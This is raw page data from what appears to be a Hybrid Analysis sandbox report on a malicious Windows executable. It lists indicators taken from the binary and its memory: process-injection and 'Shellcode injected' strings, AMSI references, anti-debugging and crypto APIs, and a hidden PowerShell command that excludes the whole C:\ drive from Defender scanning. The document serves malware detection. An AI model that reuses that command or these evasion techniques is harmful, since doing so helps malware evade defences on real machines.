24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 72:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T502,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample d1a1e6a2c0ad… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d1a1e6a2c0ad…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 7/27 AV engines flagged this file. 4 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2"],"about":{"@type":"SoftwareApplication","name":"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":7,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T12c3,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ZwAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ZwWriteVirtualMemory" (Indicator: "ZwWriteVirtualMemory"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: VirtualAllocEx failed" (Indicator: "VirtualAlloc"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: VirtualAllocEx failed" (Indicator: "VirtualAllocEx"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "VirtualAlloc failed" (Indicator: "VirtualAlloc"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: WriteProcessMemory failed" (Indicator: "WriteProcessMemory"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: VirtualAllocEx for PE failed" (Indicator: "VirtualAlloc"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: VirtualAllocEx for PE failed" (Indicator: "VirtualAllocEx"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ZwAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "ZwWriteVirtualMemory"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ERROR: VirtualAllocEx failed" (Indicator: "VirtualAlloc"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ERROR: VirtualAllocEx failed" (Indicator: "VirtualAllocEx"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "VirtualAlloc failed" (Indicator: "VirtualAlloc"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")26:T62c,file/memory contains long string with (Indicator: "add-mppreference"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference string "powershell.exe -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath '%s' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"" (Indicator: "add-mppreference"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference string "powershell.exe -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"" (Indicator: "add-mppreference"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "add-mppreference"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference string "powershell.exe -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath '%s' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"" (Indicator: "add-mppreference"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference string "powershell.exe -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"" (Indicator: "add-mppreference"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")27:T880,Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: CreateRemoteThread failed" (Indicator: "CreateRemoteThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "OK: Shellcode injected (CreateRemoteThread)" (Indicator: "CreateRemoteThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: CreateRemoteThread failed (err %lu)" (Indicator: "CreateRemoteThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: CreateRemoteThread failed" (Indicator: "CreateRemoteThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "OK: Shellcode injected (CreateRemoteThread)" (Indicator: "CreateRemoteThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ERROR: CreateRemoteThread failed (err %lu)" (Indicator: "CreateRemoteThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")28:Tb82,Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "RtlCreateUserThread" (Indicator: "RtlCreateUserThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: CreateRemoteThread failed" (Indicator: "CreateRemoteThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "OK: Shellcode injected (CreateRemoteThread)" (Indicator: "CreateRemoteThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "NtCreateThreadEx" (Indicator: "NtCreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "NtCreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "NtCreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "NtCreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: CreateRemoteThread failed (err %lu)" (Indicator: "CreateRemoteThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "RtlCreateUserThread" (Indicator: "RtlCreateUserThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ERROR: CreateRemoteThread failed" (Indicator: "CreateRemoteThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "OK: Shellcode injected (CreateRemoteThread)" (Indicator: "CreateRemoteThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "NtCreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "NtCreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "NtCreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "NtCreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ERROR: CreateRemoteThread failed (err %lu)" (Indicator: "CreateRemoteThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")29:Tc7c,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "Handle enumeration requires NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "OK: Prevent Sleep active" (Indicator: " Sleep "; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "Handle enumeration requires NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "OK: Prevent Sleep active" (Indicator: " Sleep "; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")2a:T6a0,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")2b:T62e,Found reference to API "ChangeServiceConfig2A" (Indicator: "ChangeServiceConfig"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ChangeServiceConfigA" (Indicator: "ChangeServiceConfig"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ControlService" (Indicator: "ControlService"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: ChangeServiceConfig failed" (Indicator: "ChangeServiceConfig"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: ChangeServiceConfig2 failed" (Indicator: "ChangeServiceConfig"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: ChangeServiceConfig failed" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ERROR: ChangeServiceConfig2 failed" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ChangeServiceConfig2A" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ChangeServiceConfigA" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")2c:T45e,Observed string: "C:\Windows\System32\Amsi.dll" (Indicator: "amsi.dll") in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin Observed string: "C:\Windows\SysWow64\Amsi.dll" (Indicator: "amsi.dll") in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin Observed string: "amsi.dll" (Indicator: "amsi.dll") in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin Observed string: "AmsiScanBuffer" (Indicator: "amsiscanbuffer") in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin Observed string: "C:\Windows\System32\Amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp Observed string: "C:\Windows\SysWow64\Amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp Observed string: "amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp Observed string: "AmsiScanBuffer" (Indicator: "amsiscanbuffer") in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp2d:T5be,Found reference to API "OutputDebugStringW" (Indicator: "OutputDebugString"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "IsDebuggerPresent" (Indicator: "IsDebuggerPresent"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "OutputDebugStringA" (Indicator: "OutputDebugString"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: NtQueryInformationProcess failed" (Indicator: "NtQueryInformationProcess"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: Cannot find NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin")2e:T1048,Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptHashData" (Indicator: "CryptHashData"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptCreateHash" (Indicator: "CryptCreateHash"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptMsgGetParam" (Indicator: "CryptMsgGetParam"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptMsgClose" (Indicator: "CryptMsgClose"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CertFindCertificateInStore" (Indicator: "CertFindCertificateInStore"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptUnprotectData" (Indicator: "CryptUnprotectData"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptQueryObject" (Indicator: "CryptQueryObject"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CertGetNameStringA" (Indicator: "CertGetNameStringA"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptStringToBinaryA" (Indicator: "CryptStringToBinaryA"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CertGetCertificateContextProperty" (Indicator: "CertGetCertificateContextProperty"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "BCryptDecrypt" (Indicator: "BCryptDecrypt"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "BCryptDecrypt" (Indicator: "CryptDecrypt"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "BCryptDestroyKey" (Indicator: "CryptDestroyKey"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "BCryptSetProperty" (Indicator: "BCryptSetProperty"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")2f:T63e,Found reference to API "BCryptDecrypt" (Indicator: "BCryptDecrypt"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "BCryptDecrypt" (Indicator: "BCryptDecrypt"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; Source: 